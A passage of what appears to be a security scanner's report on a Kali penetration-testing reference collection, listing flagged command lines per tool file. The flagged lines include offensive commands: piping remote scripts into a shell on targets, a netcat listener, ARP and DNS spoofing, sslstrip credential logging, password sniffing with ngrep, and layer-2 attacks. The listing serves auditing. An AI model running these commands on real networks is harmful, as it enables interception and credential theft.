  • Network accessline 22
    git clone https://github.com/dirkjanm/krbrelayx.git
  • Network accessline 161
    - [krbrelayx (GitHub)](https://github.com/dirkjanm/krbrelayx)
  • Network accessline 162
    - [Kali krbrelayx](https://www.kali.org/tools/krbrelayx/)

kali-pentest/references/post-exploitation/tools/lapsdumper.md

  • Dangerous shell operationline 15
    sudo apt install lapsdumper
  • Network accessline 60
    - [LAPSDumper (GitHub)](https://github.com/n00py/LAPSDumper)
  • Network accessline 61
    - [Kali lapsdumper](https://www.kali.org/tools/lapsdumper/)

kali-pentest/references/post-exploitation/tools/linpeas.md

  • Dangerous shell operationline 20
    sudo apt install peass
  • Network accessline 23
    # Or download the latest version from GitHub curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
  • Network accessline 24
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
  • Network accessline 25
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe
  • Network accessline 27
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx86.exe -o /tmp/winpeas32.exe
  • Dangerous shell operationline 45
    - Sudo permissions (sudo -l)
  • Network accessline 70
    # Or via Python HTTP server python3 -m http.server 8080  # On Kali wget http://<kali-ip>:8080/linpeas.sh -O /tmp/linpeas.sh  # On target
  • Network accessline 72
    wget http://<kali-ip>:8080/linpeas.sh -O /tmp/linpeas.sh  # On target
  • Network accessline 78
    # Quick execution (no file drop, only when internet access is available) curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Dangerous shell operationline 79
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 79
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 107
    2. Always redirect output to a file (`tee /tmp/linpeas_output.txt`) — the full scan takes several minutes and the output is extensive. 3. Use `-o` to run specific check categories only when time is limited or you want to reduce noise. 4. Fo
  • Network accessline 108
    3. Use `-o` to run specific check categories only when time is limited or you want to reduce noise. 4. For fileless execution (no disk drop), pipe directly from curl: `curl -L <url> | sh` — only use on internet-connected targets. 5. PEASS-n
  • Dangerous shell operationline 109
    4. For fileless execution (no disk drop), pipe directly from curl: `curl -L <url> | sh` — only use on internet-connected targets.
  • Network accessline 109
    4. For fileless execution (no disk drop), pipe directly from curl: `curl -L <url> | sh` — only use on internet-connected targets.
  • Network accessline 116
    - [PEASS-ng (GitHub)](https://github.com/peass-ng/PEASS-ng)
  • Network accessline 117
    - [linPEAS (GitHub)](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)

kali-pentest/references/post-exploitation/tools/linux-exploit-suggester.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install linux-exploit-suggester
  • Network accessline 67
    - [linux-exploit-suggester GitHub](https://github.com/The-Z-Labs/linux-exploit-suggester)
  • Network accessline 68
    - [Kali linux-exploit-suggester](https://www.kali.org/tools/linux-exploit-suggester/)

kali-pentest/references/post-exploitation/tools/lsassy.md

  • Network accessline 18
    # Kali package tracker lists the source package as python-lsassy # https://pkg.kali.org/pkg/python-lsassy
  • Network accessline 19
    # https://pkg.kali.org/pkg/python-lsassy
  • Network accessline 73
    - [lsassy (GitHub)](https://github.com/Hackndo/lsassy)
  • Network accessline 74
    - [Kali Package Tracker: python-lsassy](https://pkg.kali.org/pkg/python-lsassy)

kali-pentest/references/post-exploitation/tools/mimikatz.md

  • Network accessline 15
    # Download current Windows builds from the official release page # https://github.com/gentilkiwi/mimikatz/releases
  • Network accessline 16
    # https://github.com/gentilkiwi/mimikatz/releases
  • Network accessline 122
    - [Mimikatz (GitHub)](https://github.com/gentilkiwi/mimikatz)
  • Network accessline 123
    - [Mimikatz Wiki](https://github.com/gentilkiwi/mimikatz/wiki)

kali-pentest/references/post-exploitation/tools/powershell-empire.md

  • Dangerous shell operationline 15
    sudo apt install powershell-empire
  • Dangerous shell operationline 18
    sudo powershell-empire server
  • Network accessline 23
    # Or install from GitHub git clone --recursive https://github.com/BC-SECURITY/Empire.git
  • Network accessline 24
    git clone --recursive https://github.com/BC-SECURITY/Empire.git
  • Dangerous shell operationline 72
    sudo powershell-empire server
  • Network accessline 132
    - [Empire (GitHub)](https://github.com/BC-SECURITY/Empire)
  • Network accessline 133
    - [Kali powershell-empire](https://www.kali.org/tools/powershell-empire/)
  • Network accessline 134
    - [BC Security - Empire Documentation](https://bc-security.gitbook.io/empire-wiki)

kali-pentest/references/post-exploitation/tools/powersploit.md

  • Dangerous shell operationline 15
    sudo apt install powersploit
  • Network accessline 20
    # Or clone from GitHub git clone https://github.com/PowerShellMafia/PowerSploit.git
  • Network accessline 21
    git clone https://github.com/PowerShellMafia/PowerSploit.git
  • Network accessline 98
    # Set up listener for reverse shell payloads nc -lvnp 4444
  • Network accessline 99
    nc -lvnp 4444
  • Network accessline 154
    - [PowerSploit (GitHub)](https://github.com/PowerShellMafia/PowerSploit)
  • Network accessline 155
    - [Kali powersploit](https://www.kali.org/tools/powersploit/)

kali-pentest/references/post-exploitation/tools/proxychains.md

  • Dangerous shell operationline 15
    sudo apt install proxychains4
  • Network accessline 45
    # Execute any command through the proxy proxychains nmap -sT 10.10.10.0/24 proxychains curl http://internal-server/
  • Network accessline 46
    proxychains nmap -sT 10.10.10.0/24 proxychains curl http://internal-server/ proxychains ssh root@192.168.100.50
  • Network accessline 47
    proxychains curl http://internal-server/
  • Network accessline 75
    - [proxychains (GitHub)](https://github.com/haad/proxychains)
  • Network accessline 76
    - [proxychains-ng - Kali Default (GitHub)](https://github.com/rofl0r/proxychains-ng)

kali-pentest/references/post-exploitation/tools/pspy.md

  • Network accessline 15
    # Download (check https://github.com/DominicBreuker/pspy/releases for the latest version)
  • Network accessline 16
    # v1.2.1 shown here; replace with current release tag wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/pspy32  # 3
  • Network accessline 17
    wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64
  • Network accessline 18
    wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/pspy32  # 32-bit systems
  • Network accessline 20
    # Alternatively, download the latest via GitHub releases API: # curl -sL https://github.com/DominicBreuker/pspy/releases/latest | grep -oP 'href="[^"]+pspy64"' | head -1
  • Network accessline 21
    # curl -sL https://github.com/DominicBreuker/pspy/releases/latest | grep -oP 'href="[^"]+pspy64"' | head -1
  • Network accessline 86
    - [pspy (GitHub)](https://github.com/DominicBreuker/pspy)

kali-pentest/references/post-exploitation/tools/pwncat.md

  • Network accessline 10
    pwncat (by cytopia) is an enhanced netcat implementation written in Python. It operates in four modes: connect, listen, zero-I/O (port scanning), and forward (local/remote port forwarding). Beyond basic netcat functionality, pwncat provides
  • Dangerous shell operationline 17
    sudo apt install pwncat
  • Network accessline 163
    - [pwncat GitHub Repository (cytopia)](https://github.com/cytopia/pwncat)
  • Network accessline 164
    - [pwncat Kali Tools Page](https://www.kali.org/tools/pwncat/)

kali-pentest/references/post-exploitation/tools/sliver.md

  • Network accessline 15
    # Install via official installer curl https://sliver.sh/install | sudo bash
  • Dangerous shell operationline 16
    curl https://sliver.sh/install | sudo bash
  • Network accessline 16
    curl https://sliver.sh/install | sudo bash
  • Network accessline 58
    - [Sliver Documentation](https://sliver.sh/)
  • Network accessline 59
    - [Sliver GitHub](https://github.com/BishopFox/sliver)

kali-pentest/references/post-exploitation/tools/sshuttle.md

  • Dangerous shell operationline 15
    sudo apt install sshuttle
  • Dangerous shell operationline 74
    1. Requires root/sudo on the local machine (to modify iptables/pf rules), but no root on the remote server.
  • Network accessline 85
    - [sshuttle (GitHub)](https://github.com/sshuttle/sshuttle)
  • Network accessline 86
    - [Kali sshuttle](https://www.kali.org/tools/sshuttle/)

kali-pentest/references/post-exploitation/tools/winpeas.md

  • Network accessline 15
    # Download latest releases (run on Kali) curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe
  • Network accessline 16
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe
  • Network accessline 17
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx86.exe -o /tmp/winpeas32.exe
  • Network accessline 18
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.bat -o /tmp/winpeas.bat
  • Network accessline 84
    - [PEASS-ng (GitHub)](https://github.com/peass-ng/PEASS-ng)
  • Network accessline 85
    - [winPEAS (GitHub)](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS)

kali-pentest/references/reporting/README.md

  • Dangerous shell operationline 74
    # Requires wkhtmltopdf: sudo apt install wkhtmltopdf
  • Network accessline 88
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest/references/reporting/tools/pandoc.md

  • Dangerous shell operationline 15
    sudo apt install pandoc
  • Dangerous shell operationline 34
    # sudo apt install texlive-latex-base
  • Dangerous shell operationline 37
    # sudo apt install wkhtmltopdf
  • Network accessline 101
    - [Pandoc Official Site](https://pandoc.org/)
  • Network accessline 102
    - [Pandoc User's Guide](https://pandoc.org/MANUAL.html)

kali-pentest/references/reporting/tools/report-template.md

  • Network accessline 110
    **Affected Location**: `POST http://target.com/api/login`
  • Network accessline 121
    **Reproduction Steps**: 1. Navigate to `http://target.com/login`
  • Network accessline 122
    1. Navigate to `http://target.com/login`
  • Network accessline 129
    [Credential-related source omitted]
  • Network accessline 154
    **References**: - OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 155
    - OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 156
    - CWE-89: https://cwe.mitre.org/data/definitions/89.html
  • Network accessline 186
    ### B. References - OWASP Top 10: https://owasp.org/Top10/
  • Network accessline 187
    - OWASP Top 10: https://owasp.org/Top10/
  • Network accessline 188
    - NIST NVD: https://nvd.nist.gov/
  • Network accessline 189
    - CVE Details: https://www.cvedetails.com/
  • Network accessline 219
    Online Calculator: https://www.first.org/cvss/calculator/4.0
  • Network accessline 261
    - [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
  • Network accessline 262
    - [OWASP Top 10](https://owasp.org/Top10/)
  • Network accessline 263
    - [FIRST CVSS](https://www.first.org/cvss/)

kali-pentest/references/reverse-engineering/README.md

  • Access to secretsline 94
    [Credential-related source omitted]
  • Network accessline 131
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest/references/reverse-engineering/tools/apktool.md

  • Access to secretsline 43
    [Credential-related source omitted]
  • Network accessline 56
    - [Apktool CLI Parameters](https://apktool.org/docs/cli-parameters/)
  • Network accessline 57
    - [Apktool GitHub](https://github.com/iBotPeaches/Apktool)

kali-pentest/references/reverse-engineering/tools/binwalk.md

  • Dangerous shell operationline 15
    sudo apt install binwalk
  • Network accessline 106
    - [binwalk (GitHub)](https://github.com/ReFirmLabs/binwalk)
  • Network accessline 107
    - [binwalk — Kali Tools](https://www.kali.org/tools/binwalk/)

kali-pentest/references/reverse-engineering/tools/checksec.md

  • Dangerous shell operationline 17
    sudo apt install checksec
  • Network accessline 111
    - [checksec GitHub Repository (slimm609)](https://github.com/slimm609/checksec.sh)
  • Network accessline 112
    - [checksec Kali Tools Page](https://www.kali.org/tools/checksec/)

kali-pentest/references/reverse-engineering/tools/dex2jar.md

  • Dangerous shell operationline 15
    sudo apt install dex2jar
  • Network accessline 103
    - [dex2jar (GitHub)](https://github.com/pxb1988/dex2jar)
  • Network accessline 104
    - [dex2jar — Kali Tools](https://www.kali.org/tools/dex2jar/)

kali-pentest/references/reverse-engineering/tools/frida.md

  • Network accessline 70
    - [Frida Documentation](https://frida.re/docs/home/)
  • Network accessline 71
    - [frida-tools GitHub](https://github.com/frida/frida-tools)

kali-pentest/references/reverse-engineering/tools/ghidra-headless.md

  • Dangerous shell operationline 15
    sudo apt install ghidra
  • Network accessline 80
    - [Ghidra GitHub](https://github.com/NationalSecurityAgency/ghidra)

kali-pentest/references/reverse-engineering/tools/jadx.md

  • Network accessline 51
    # Search for risky patterns grep -RniE "SharedPreferences|MODE_WORLD_READABLE|http://|Log\\.(d|e|i)|TrustManager|HostnameVerifier" /tmp/app_jadx
  • Network accessline 52
    grep -RniE "SharedPreferences|MODE_WORLD_READABLE|http://|Log\\.(d|e|i)|TrustManager|HostnameVerifier" /tmp/app_jadx
  • Network accessline 65
    - [jadx GitHub](https://github.com/skylot/jadx)

kali-pentest/references/reverse-engineering/tools/ldd.md

  • Network accessline 57
    - [ldd(1) — Linux manual page](https://man7.org/linux/man-pages/man1/ldd.1.html)

kali-pentest/references/reverse-engineering/tools/nm.md

  • Network accessline 65
    - [GNU Binutils — nm](https://sourceware.org/binutils/docs/binutils/nm.html)
  • Network accessline 66
    - [nm(1) — Linux manual page](https://man7.org/linux/man-pages/man1/nm.1.html)

kali-pentest/references/reverse-engineering/tools/objdump.md

  • Network accessline 68
    - [GNU Binutils — objdump](https://sourceware.org/binutils/docs/binutils/objdump.html)
  • Network accessline 69
    - [objdump(1) — Linux manual page](https://man7.org/linux/man-pages/man1/objdump.1.html)

kali-pentest/references/reverse-engineering/tools/objection.md

  • Access to secretsline 10
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 61
    [Credential-related source omitted]
  • Network accessline 92
    - [Objection Documentation](https://github.com/sensepost/objection/wiki)
  • Network accessline 93
    - [Objection GitHub](https://github.com/sensepost/objection)

kali-pentest/references/reverse-engineering/tools/rabin2.md

  • Network accessline 66
    - [radare2 GitHub](https://github.com/radareorg/radare2)
  • Network accessline 67
    - [rabin2 Manual](https://book.rada.re/tools/rabin2/intro.html)

kali-pentest/references/reverse-engineering/tools/radare2.md

  • Network accessline 54
    - [radare2 Book](https://book.rada.re/)
  • Network accessline 55
    - [radare2 GitHub](https://github.com/radareorg/radare2)

kali-pentest/references/reverse-engineering/tools/readelf.md

  • Network accessline 69
    - [readelf(1) — Linux manual page](https://man7.org/linux/man-pages/man1/readelf.1.html)

kali-pentest/references/reverse-engineering/tools/ropper.md

  • Dangerous shell operationline 15
    sudo apt install ropper
  • Network accessline 125
    - [Ropper (GitHub)](https://github.com/sashs/Ropper)
  • Network accessline 126
    - [ropper — Kali Tools](https://www.kali.org/tools/ropper/)

kali-pentest/references/reverse-engineering/tools/strings.md

  • Network accessline 63
    - [GNU Binutils — strings](https://sourceware.org/binutils/docs/binutils/strings.html)
  • Network accessline 64
    - [strings(1) — Linux manual page](https://man7.org/linux/man-pages/man1/strings.1.html)

kali-pentest/references/reverse-engineering/tools/xxd.md

  • Network accessline 68
    - [xxd Debian man page](https://manpages.debian.org/unstable/xxd/xxd.1.en.html)

kali-pentest/references/rfid-nfc/README.md

  • Network accessline 72
    - [Proxmark3 GitHub](https://github.com/RfidResearchGroup/proxmark3)
  • Network accessline 73
    - [Proxmark3 command reference](https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/commands.md)
  • Network accessline 74
    - [libnfc](https://github.com/nfc-tools/libnfc)
  • Network accessline 75
    - [OpenSC](https://github.com/OpenSC/OpenSC)

kali-pentest/references/rfid-nfc/tools/libnfc.md

  • Network accessline 82
    - [libnfc GitHub](https://github.com/nfc-tools/libnfc)
  • Network accessline 83
    - [libnfc Wiki](https://github.com/nfc-tools/libnfc/wiki)

kali-pentest/references/rfid-nfc/tools/opensc-tool.md

  • Network accessline 51
    - [OpenSC GitHub](https://github.com/OpenSC/OpenSC)
  • Network accessline 52
    - [OpenSC Wiki](https://github.com/OpenSC/OpenSC/wiki)

kali-pentest/references/rfid-nfc/tools/pkcs15-tool.md

  • Network accessline 51
    - [OpenSC GitHub](https://github.com/OpenSC/OpenSC)
  • Network accessline 52
    - [pkcs15-tool manual](https://www.mankier.com/1/pkcs15-tool)

kali-pentest/references/rfid-nfc/tools/proxmark3.md

  • Dangerous shell operationline 16
    sudo apt install proxmark3
  • Network accessline 103
    - [Proxmark3 GitHub](https://github.com/RfidResearchGroup/proxmark3)
  • Network accessline 104
    - [Proxmark3 command reference](https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/commands.md)

kali-pentest/references/rfid-nfc/tools/scriptor.md

  • Network accessline 48
    - [Debian scriptor man page](https://manpages.debian.org/testing/pcsc-tools/scriptor.1.en.html)
  • Network accessline 49
    - [Kali pcsc-tools package tracker](https://pkg.kali.org/pkg/pcsc-tools)
  • Network accessline 50
    - [pcsc-tools upstream](https://pcsc-tools.apdu.fr/)

kali-pentest/references/sniffing-spoofing/README.md

  • Network accessline 112
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest/references/sniffing-spoofing/tools/bettercap.md

  • Dangerous shell operationline 15
    sudo apt install bettercap
  • Dangerous shell operationline 39
    sudo bettercap -iface eth0
  • Dangerous shell operationline 42
    sudo bettercap -iface eth0 -caplet /path/to/script.cap
  • Network accessline 44
    # Web UI mode (control via browser) sudo bettercap -iface eth0 -caplet /usr/share/bettercap/caplets/http-ui.cap # Access http://127.0.0.1 (port 80) — default credentials: user / pass
  • Dangerous shell operationline 45
    sudo bettercap -iface eth0 -caplet /usr/share/bettercap/caplets/http-ui.cap
  • Network accessline 45
    sudo bettercap -iface eth0 -caplet /usr/share/bettercap/caplets/http-ui.cap # Access http://127.0.0.1 (port 80) — default credentials: user / pass # ⚠<U+FE0F> http-ui.cap sets api.rest.port = 8081 (API) and http.server.port = 80 (UI); verify with:
  • Network accessline 46
    # Access http://127.0.0.1 (port 80) — default credentials: user / pass
  • Dangerous shell operationline 96
    sudo bettercap -iface eth0 -eval "net.probe on; arp.spoof on; net.sniff on"
  • Network accessline 110
    - [Bettercap Official Site](https://www.bettercap.org/)
  • Network accessline 111
    - [Bettercap (GitHub)](https://github.com/bettercap/bettercap)

kali-pentest/references/sniffing-spoofing/tools/dnschef.md

  • Dangerous shell operationline 15
    sudo apt install dnschef
  • Dangerous shell operationline 38
    sudo dnschef --fakeip 192.168.1.100 -i 0.0.0.0
  • Dangerous shell operationline 41
    sudo dnschef --fakeip 192.168.1.100 --fakedomains example.com -i 0.0.0.0
  • Dangerous shell operationline 44
    sudo dnschef --fakeip 192.168.1.100 --fakemail mail.evil.com --fakens ns.evil.com -i 0.0.0.0
  • Dangerous shell operationline 47
    sudo dnschef --file dns_rules.ini -i 0.0.0.0
  • Dangerous shell operationline 50
    sudo dnschef --fakeip 192.168.1.100 -i 0.0.0.0 --logfile dns_queries.log
  • Dangerous shell operationline 53
    sudo dnschef --fakeip 192.168.1.100 --nameservers 8.8.8.8 -i 0.0.0.0
  • Network accessline 80
    - [DNSChef (GitHub)](https://github.com/iphelix/dnschef)
  • Network accessline 81
    - [Kali DNSChef](https://www.kali.org/tools/dnschef/)

kali-pentest/references/sniffing-spoofing/tools/dsniff.md

  • Dangerous shell operationline 15
    sudo apt install dsniff
  • Dangerous shell operationline 71
    sudo sysctl -w net.ipv4.ip_forward=1
  • Dangerous shell operationline 73
    sudo arpspoof -i eth0 -t 192.168.1.50 192.168.1.1
  • Dangerous shell operationline 75
    sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.50
  • Dangerous shell operationline 79
    sudo dnsspoof -i eth0 -f /tmp/dnsspoof.hosts
  • Dangerous shell operationline 82
    sudo dsniff -i eth0 -m
  • Dangerous shell operationline 85
    sudo macof -i eth0 -n 100000
  • Dangerous shell operationline 88
    sudo urlsnarf -i eth0
  • Dangerous shell operationline 91
    sudo tcpkill -i eth0 host 192.168.1.50 and port 443
  • Network accessline 106
    - [dsniff — Dug Song](https://www.monkey.org/~dugsong/dsniff/)
  • Network accessline 107
    - [Kali dsniff](https://www.kali.org/tools/dsniff/)

kali-pentest/references/sniffing-spoofing/tools/ettercap.md

  • Dangerous shell operationline 15
    sudo apt install ettercap-text-only
  • Network accessline 67
    - [ettercap (GitHub)](https://github.com/Ettercap/ettercap)
  • Network accessline 68
    - [Kali ettercap](https://www.kali.org/tools/ettercap/)

kali-pentest/references/sniffing-spoofing/tools/hping3.md

  • Dangerous shell operationline 15
    sudo apt install hping3
  • Network accessline 81
    - [hping3 Debian man page](https://manpages.debian.org/hping3/hping3.8.en.html)
  • Network accessline 82
    - [Kali hping3](https://www.kali.org/tools/hping3/)

kali-pentest/references/sniffing-spoofing/tools/macchanger.md

  • Network accessline 60
    - [macchanger GitHub](https://github.com/alobbs/macchanger)
  • Network accessline 61
    - [Kali Tools — macchanger](https://www.kali.org/tools/macchanger/)

kali-pentest/references/sniffing-spoofing/tools/netsniff-ng.md

  • Dangerous shell operationline 15
    sudo apt install netsniff-ng
  • Dangerous shell operationline 49
    sudo netsniff-ng -i eth0 -o capture.pcap -s
  • Dangerous shell operationline 52
    sudo netsniff-ng -i eth0 -o capture.pcap -f "tcp port 80 or tcp port 443"
  • Dangerous shell operationline 55
    sudo netsniff-ng -i eth0 -o /captures/ -T 60
  • Dangerous shell operationline 58
    sudo netsniff-ng -i eth0 -o capture.pcap -t host
  • Dangerous shell operationline 61
    sudo netsniff-ng -i capture.pcap -o eth0
  • Dangerous shell operationline 64
    sudo netsniff-ng -i eth0 -o capture.pcap -n 1000
  • Dangerous shell operationline 67
    sudo astraceroute -i eth0 -d example.com
  • Dangerous shell operationline 70
    sudo trafgen -i packets.cfg -o eth0 -n 100
  • Dangerous shell operationline 73
    sudo ifpps -d eth0
  • Dangerous shell operationline 76
    sudo flowtop
  • Network accessline 91
    - [netsniff-ng (Project Site)](http://netsniff-ng.org/)
  • Network accessline 92
    - [Kali netsniff-ng](https://www.kali.org/tools/netsniff-ng/)

kali-pentest/references/sniffing-spoofing/tools/ngrep.md

  • Dangerous shell operationline 15
    sudo apt install ngrep
  • Dangerous shell operationline 42
    sudo ngrep -q -W byline 'password' 'tcp port 80'
  • Dangerous shell operationline 45
    sudo ngrep -q -i 'user|pass|login|token' -d eth0
  • Dangerous shell operationline 51
    sudo ngrep -q -W byline 'GET|POST|PUT|DELETE' 'tcp port 80'
  • Dangerous shell operationline 54
    sudo ngrep -q -W byline '' 'udp port 5060'
  • Dangerous shell operationline 57
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Dangerous shell operationline 60
    sudo ngrep -q -n 50 'secret' 'tcp port 8080'
  • Dangerous shell operationline 63
    sudo ngrep -q -x 'password' 'tcp port 21'
  • Dangerous shell operationline 66
    sudo ngrep -q -X '485454502f312e3120323030'
  • Dangerous shell operationline 69
    sudo ngrep -q -t 'Set-Cookie' 'tcp port 80'
  • Dangerous shell operationline 72
    sudo ngrep -q 'example.com' 'udp port 53'
  • Dangerous shell operationline 75
    sudo ngrep -q -W byline '' 'tcp port 25'
  • Network accessline 90
    - [ngrep (GitHub)](https://github.com/jpr5/ngrep)
  • Network accessline 91
    - [Kali ngrep](https://www.kali.org/tools/ngrep/)

kali-pentest/references/sniffing-spoofing/tools/scapy.md

  • Dangerous shell operationline 15
    sudo apt install python3-scapy
  • Dangerous shell operationline 80
    1. Scapy requires root/sudo for raw socket operations (Layer-2 and Layer-3 packet injection).
  • Network accessline 90
    - [Scapy (GitHub)](https://github.com/secdev/scapy)
  • Network accessline 91
    - [Kali scapy](https://www.kali.org/tools/scapy/)

kali-pentest/references/sniffing-spoofing/tools/sslstrip.md

  • Dangerous shell operationline 17
    sudo apt install sslstrip
  • Dangerous shell operationline 35
    echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
  • Dangerous shell operationline 38
    sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  • Dangerous shell operationline 41
    sudo sslstrip -l 10000 -w sslstrip.log
  • Dangerous shell operationline 44
    sudo sslstrip -l 10000 -f -w sslstrip.log
  • Dangerous shell operationline 47
    sudo sslstrip -l 10000 -p -w credentials.log
  • Dangerous shell operationline 50
    sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  • Network accessline 65
    - [sslstrip (GitHub)](https://github.com/moxie0/sslstrip)
  • Network accessline 66
    - [Kali sslstrip](https://www.kali.org/tools/sslstrip/)

kali-pentest/references/voip-ics/README.md

  • Network accessline 107
    - [SIPVicious GitHub](https://github.com/EnableSecurity/sipvicious)
  • Network accessline 108
    - [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/)

kali-pentest/references/voip-ics/tools/enumiax.md

  • Network accessline 54
    - [Kali enumiax](https://www.kali.org/tools/enumiax/)

kali-pentest/references/voip-ics/tools/ipmitool.md

  • Dangerous shell operationline 24
    sudo apt install ipmitool
  • Network accessline 161
    - [ipmitool (GitHub)](https://github.com/ipmitool/ipmitool)
  • Network accessline 162
    - [Kali Tools - ipmitool](https://www.kali.org/tools/ipmitool/)

kali-pentest/references/voip-ics/tools/modbus-cli.md

  • Network accessline 65
    - [modbus-cli RubyGems](https://rubygems.org/gems/modbus-cli)
  • Network accessline 66
    - [modbus-cli GitHub](https://github.com/tallakt/modbus-cli)

kali-pentest/references/voip-ics/tools/plcscan.md

  • Network accessline 15
    git clone https://github.com/meeas/plcscan.git
  • Network accessline 51
    - [plcscan GitHub](https://github.com/meeas/plcscan)

kali-pentest/references/voip-ics/tools/sippts.md

  • Dangerous shell operationline 17
    sudo apt install sippts
  • Network accessline 137
    - [sippts GitHub](https://github.com/Pepelux/sippts)
  • Network accessline 138
    - [Kali sippts](https://www.kali.org/tools/sippts/)

kali-pentest/references/voip-ics/tools/sipvicious.md

  • Network accessline 62
    - [SIPVicious GitHub](https://github.com/EnableSecurity/sipvicious)
  • Network accessline 63
    - [Kali sipvicious](https://www.kali.org/tools/sipvicious/)

kali-pentest/references/voip-ics/tools/voiphopper.md

  • Network accessline 61
    - [Kali voiphopper](https://www.kali.org/tools/voiphopper/)

kali-pentest/references/voip-ics/tools/yersinia.md

  • Dangerous shell operationline 15
    sudo apt install yersinia
  • Dangerous shell operationline 78
    sudo yersinia stp -attack 4 -interface eth0
  • Dangerous shell operationline 81
    sudo yersinia dhcp -attack 1 -interface eth0
  • Dangerous shell operationline 84
    sudo yersinia dtp -attack 1 -interface eth0
  • Dangerous shell operationline 87
    sudo yersinia cdp -attack 1 -interface eth0
  • Dangerous shell operationline 90
    sudo yersinia dot1q -attack 1 -interface eth0
  • Network accessline 105
    - [yersinia GitHub](https://github.com/tomac/yersinia)
  • Network accessline 106
    - [Kali yersinia](https://www.kali.org/tools/yersinia/)

kali-pentest/references/vulnerability/README.md

  • Network accessline 179
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest/references/vulnerability/tools/enum4linux-ng.md

  • Dangerous shell operationline 15
    sudo apt install enum4linux-ng
  • Network accessline 71
    - [enum4linux-ng (GitHub)](https://github.com/cddmp/enum4linux-ng)
  • Network accessline 72
    - [Kali enum4linux-ng](https://www.kali.org/tools/enum4linux-ng/)

kali-pentest/references/vulnerability/tools/enum4linux.md

  • Dangerous shell operationline 15
    sudo apt install enum4linux
  • Network accessline 68
    - [enum4linux GitHub](https://github.com/CiscoCXSecurity/enum4linux)
  • Network accessline 69
    - [enum4linux-ng GitHub](https://github.com/cddmp/enum4linux-ng)

kali-pentest/references/vulnerability/tools/ike-scan.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install ike-scan
  • Network accessline 85
    - [ike-scan GitHub](https://github.com/royhills/ike-scan)
  • Network accessline 86
    - [Kali ike-scan](https://www.kali.org/tools/ike-scan/)

kali-pentest/references/vulnerability/tools/ismtp.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install ismtp
  • Network accessline 71
    - [Kali ismtp](https://www.kali.org/tools/ismtp/)

kali-pentest/references/vulnerability/tools/lynis.md

  • Dangerous shell operationline 15
    sudo apt install lynis
  • Dangerous shell operationline 41
    sudo lynis audit system
  • Dangerous shell operationline 47
    sudo lynis audit system --quick
  • Dangerous shell operationline 50
    sudo lynis audit system --report-file /tmp/lynis_report.dat
  • Dangerous shell operationline 53
    sudo lynis audit system --tests-from-group authentication
  • Dangerous shell operationline 54
    sudo lynis audit system --tests-from-group networking
  • Dangerous shell operationline 55
    sudo lynis audit system --tests-from-group malware
  • Dangerous shell operationline 58
    sudo lynis audit system --quick --quiet --no-colors > /tmp/lynis_output.txt
  • Dangerous shell operationline 77
    3. Use `--tests-from-group authentication` to quickly audit login and sudo configuration after gaining a shell.
  • Network accessline 86
    - [Lynis Official Site](https://cisofy.com/lynis/)
  • Network accessline 87
    - [Lynis GitHub](https://github.com/CISOfy/lynis)

kali-pentest/references/vulnerability/tools/nuclei.md

  • Dangerous shell operationline 15
    sudo apt install nuclei
  • Network accessline 73
    # Scan with the default template set nuclei -u http://target.com
  • Network accessline 74
    nuclei -u http://target.com
  • Network accessline 79
    # Scan by category — use explicit path when auto-detection fails nuclei -u http://target.com -t "$TMPL/http/cves/"
  • Network accessline 80
    nuclei -u http://target.com -t "$TMPL/http/cves/"
  • Network accessline 81
    nuclei -u http://target.com -t "$TMPL/http/exposures/"
  • Network accessline 82
    nuclei -u http://target.com -t "$TMPL/http/misconfiguration/"
  • Network accessline 83
    nuclei -u http://target.com -t "$TMPL/http/vulnerabilities/"
  • Network accessline 84
    nuclei -u http://target.com -t "$TMPL/http/technologies/"
  • Network accessline 86
    # Scan for high severity and above only nuclei -u http://target.com -severity critical,high
  • Network accessline 87
    nuclei -u http://target.com -severity critical,high
  • Network accessline 89
